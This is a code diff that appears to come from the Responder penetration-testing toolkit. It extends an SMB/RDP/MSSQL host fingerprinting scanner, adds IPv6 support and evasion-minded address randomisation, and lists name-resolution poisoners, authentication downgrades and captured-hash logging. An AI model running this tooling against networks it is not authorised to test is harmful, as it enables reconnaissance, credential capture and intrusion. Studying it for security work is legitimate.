from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
__version__ = "1.7"
|
||||
__version__ = "1.8"
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
||||
|
||||
@@ -44,7 +44,7 @@ if options.TARGET == None and options.Filename == None:
|
||||
Timeout = options.Timeout
|
||||
Host = options.TARGET
|
||||
Filename = options.Filename
|
||||
SMB1 = "Enabled"
|
||||
SMB1 = "True"
|
||||
SMB2signing = "False"
|
||||
DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db"
|
||||
|
||||
@@ -70,7 +70,7 @@ else:
|
||||
|
||||
if not os.path.exists(DB):
|
||||
cursor = sqlite3.connect(DB)
|
||||
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT)')
|
||||
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)')
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
|
||||
@@ -131,17 +131,17 @@ def GetOsBuildNumber(data):
|
||||
return ProductBuild
|
||||
|
||||
def SaveRunFingerToDb(result):
|
||||
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn']:
|
||||
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn', 'SMB1','MSSQL']:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
cursor = sqlite3.connect(DB)
|
||||
cursor.text_factory = sqlite3.Binary
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn']))
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=? AND SMB1=? AND MSSQL=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn']))
|
||||
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?,?,?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
@@ -160,8 +160,9 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
|
||||
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
|
||||
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
|
||||
DomainGrab((host, 445))
|
||||
RDP = IsRDPOn((host,3389))
|
||||
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1)))
|
||||
RDP = IsServiceOn((host,3389))
|
||||
SQL = IsServiceOn((host,1433))
|
||||
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1, SQL)))
|
||||
SaveRunFingerToDb({
|
||||
'Protocol': '[SMB2]',
|
||||
'Host': host,
|
||||
@@ -171,7 +172,9 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
|
||||
'Bootime': Bootime,
|
||||
'Signing': signing,
|
||||
'NullSess': 'N/A',
|
||||
'IsRDPOn':RDP,
|
||||
'IsRDPOn':RDP,
|
||||
'SMB1': SMB1,
|
||||
'MSSQL': SQL
|
||||
})
|
||||
|
||||
def GetBootTime(data):
|
||||
@@ -193,7 +196,7 @@ def IsDCVuln(t, host):
|
||||
Date = datetime.datetime(2017, 3, 14, 0, 30)
|
||||
if t[0] < Date:
|
||||
return("This system may be vulnerable to MS17-010")
|
||||
return("Last restart: "+t[1])
|
||||
return(t[1])
|
||||
|
||||
#####################
|
||||
|
||||
@@ -253,7 +256,7 @@ def DomainGrab(Host):
|
||||
return GetHostnameAndDomainName(data)
|
||||
except IOError as e:
|
||||
if e.errno == errno.ECONNRESET:
|
||||
SMB1 = "Disabled"
|
||||
SMB1 = "False"
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
@@ -339,15 +342,15 @@ def ConnectAndChoseSMB(host):
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s.connect(host)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x00")
|
||||
n = SMBNego(Data = SMB2NegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(4096)
|
||||
except:
|
||||
return False
|
||||
h = SMBHeader(cmd="\x72",flag1="\x00")
|
||||
n = SMBNego(Data = SMB2NegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(4096)
|
||||
if ParseNegotiateSMB2Ans(data):
|
||||
try:
|
||||
while True:
|
||||
@@ -392,8 +395,9 @@ def ShowSmallResults(Host):
|
||||
Hostname, DomainJoined = DomainGrab((Host, 445))
|
||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||
NullSess = check_smb_null_session((Host, 445))
|
||||
RDP = IsRDPOn((Host,3389))
|
||||
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP)))
|
||||
RDP = IsServiceOn((Host,3389))
|
||||
SQL = IsServiceOn((Host,1433))
|
||||
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', MSSQL:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP, SQL)))
|
||||
SaveRunFingerToDb({
|
||||
'Protocol': '[SMB1]',
|
||||
'Host': Host,
|
||||
@@ -403,13 +407,15 @@ def ShowSmallResults(Host):
|
||||
'Bootime': 'N/A',
|
||||
'Signing': Signing,
|
||||
'NullSess': NullSess,
|
||||
'IsRDPOn':RDP,
|
||||
'IsRDPOn':RDP,
|
||||
'SMB1': 'True',
|
||||
'MSSQL': SQL
|
||||
})
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
def IsRDPOn(Host):
|
||||
def IsServiceOn(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
@@ -422,6 +428,7 @@ def IsRDPOn(Host):
|
||||
except Exception as err:
|
||||
return 'False'
|
||||
|
||||
|
||||
def RunFinger(Host):
|
||||
if Filename != None:
|
||||
with open(Filename) as fp:
|
||||
|
||||
125
utils.py
125
utils.py
@@ -24,8 +24,24 @@ import settings
|
||||
import datetime
|
||||
import codecs
|
||||
import struct
|
||||
import random
|
||||
try:
|
||||
import netifaces
|
||||
except:
|
||||
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
|
||||
|
||||
from calendar import timegm
|
||||
|
||||
def if_nametoindex2(name):
|
||||
if settings.Config.PY2OR3 == "PY2":
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
libc = ctypes.CDLL(ctypes.util.find_library('c'))
|
||||
ret = libc.if_nametoindex(name)
|
||||
return ret
|
||||
else:
|
||||
return socket.if_nametoindex(settings.Config.Interface)
|
||||
|
||||
def RandomChallenge():
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
if settings.Config.NumChal == "random":
|
||||
@@ -128,6 +144,31 @@ def RespondWithIPAton():
|
||||
else:
|
||||
return settings.Config.IP_aton.decode('latin-1')
|
||||
|
||||
def RespondWithIPPton():
|
||||
if settings.Config.PY2OR3 == "PY2":
|
||||
if settings.Config.ExternalIP6:
|
||||
return settings.Config.ExternalIP6Pton
|
||||
else:
|
||||
return settings.Config.IP_Pton6
|
||||
else:
|
||||
if settings.Config.ExternalIP6:
|
||||
return settings.Config.ExternalIP6Pton.decode('latin-1')
|
||||
else:
|
||||
return settings.Config.IP_Pton6.decode('latin-1')
|
||||
|
||||
def RespondWithIP():
|
||||
if settings.Config.ExternalIP:
|
||||
return settings.Config.ExternalIP
|
||||
else:
|
||||
return settings.Config.Bind_To
|
||||
|
||||
def RespondWithIP6():
|
||||
if settings.Config.ExternalIP6:
|
||||
return settings.Config.ExternalIP6
|
||||
else:
|
||||
return settings.Config.Bind_To6
|
||||
|
||||
|
||||
def OsInterfaceIsSupported():
|
||||
if settings.Config.Interface != "Not set":
|
||||
return not IsOsX()
|
||||
@@ -136,6 +177,16 @@ def OsInterfaceIsSupported():
|
||||
def IsOsX():
|
||||
return sys.platform == "darwin"
|
||||
|
||||
def IsIPv6IP(IP):
|
||||
if IP == None:
|
||||
return False
|
||||
regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
|
||||
ret = re.search(regex, IP)
|
||||
if ret:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def FindLocalIP(Iface, OURIP):
|
||||
if Iface == 'ALL':
|
||||
return '0.0.0.0'
|
||||
@@ -143,6 +194,19 @@ def FindLocalIP(Iface, OURIP):
|
||||
try:
|
||||
if IsOsX():
|
||||
return OURIP
|
||||
|
||||
elif IsIPv6IP(OURIP):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
|
||||
s.connect(("127.0.0.1",9))#RFC 863
|
||||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
return ret
|
||||
|
||||
|
||||
elif IsIPv6IP(OURIP) == False and OURIP != None:
|
||||
return OURIP
|
||||
|
||||
elif OURIP == None:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
|
||||
@@ -150,11 +214,45 @@ def FindLocalIP(Iface, OURIP):
|
||||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
return ret
|
||||
return OURIP
|
||||
|
||||
except socket.error:
|
||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
def FindLocalIP6(Iface, OURIP):
|
||||
if Iface == 'ALL':
|
||||
return '::'
|
||||
|
||||
try:
|
||||
|
||||
if IsIPv6IP(OURIP) == False:
|
||||
|
||||
try:
|
||||
#Let's make it random so we don't get spotted easily.
|
||||
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
|
||||
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||
s.connect((randIP+':80', 1))
|
||||
IP = s.getsockname()[0]
|
||||
print('IP is: %s'%IP)
|
||||
return IP
|
||||
except:
|
||||
try:
|
||||
#Try harder; Let's get the local link addr
|
||||
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
|
||||
return IP
|
||||
except:
|
||||
IP = '::1'
|
||||
print("[+] You don't have an IPv6 address assigned.")
|
||||
return IP
|
||||
|
||||
else:
|
||||
return OURIP
|
||||
|
||||
except socket.error:
|
||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
logging.info("[*] Captured Hash: %s" % data)
|
||||
@@ -324,14 +422,20 @@ def SaveDHCPToDb(result):
|
||||
cursor.close()
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
if data[len(data)-4:len(data)][1] ==b'\x1c':
|
||||
return False
|
||||
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
|
||||
return 'IPv6'
|
||||
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
|
||||
return True
|
||||
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
|
||||
return True
|
||||
return False
|
||||
|
||||
def IsIPv6(data):
|
||||
if "::ffff:" in data:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
from string import printable
|
||||
@@ -383,9 +487,10 @@ def StartupMessage():
|
||||
|
||||
print('')
|
||||
print(color("[+] ", 2, 1) + "Poisoners:")
|
||||
print(' %-27s' % "LLMNR" + enabled)
|
||||
print(' %-27s' % "NBT-NS" + enabled)
|
||||
print(' %-27s' % "DNS/MDNS" + enabled)
|
||||
print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
||||
print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
||||
print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
||||
print(' %-27s' % "DNS" + enabled)
|
||||
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
|
||||
print('')
|
||||
|
||||
@@ -422,14 +527,18 @@ def StartupMessage():
|
||||
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
|
||||
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
|
||||
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
|
||||
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "Generic Options:")
|
||||
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
|
||||
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
|
||||
print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
|
||||
if settings.Config.ExternalIP:
|
||||
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
|
||||
if settings.Config.ExternalIP6:
|
||||
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
|
||||
|
||||
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
|
||||
|
||||
|
||||
Reference in New Issue
Block a user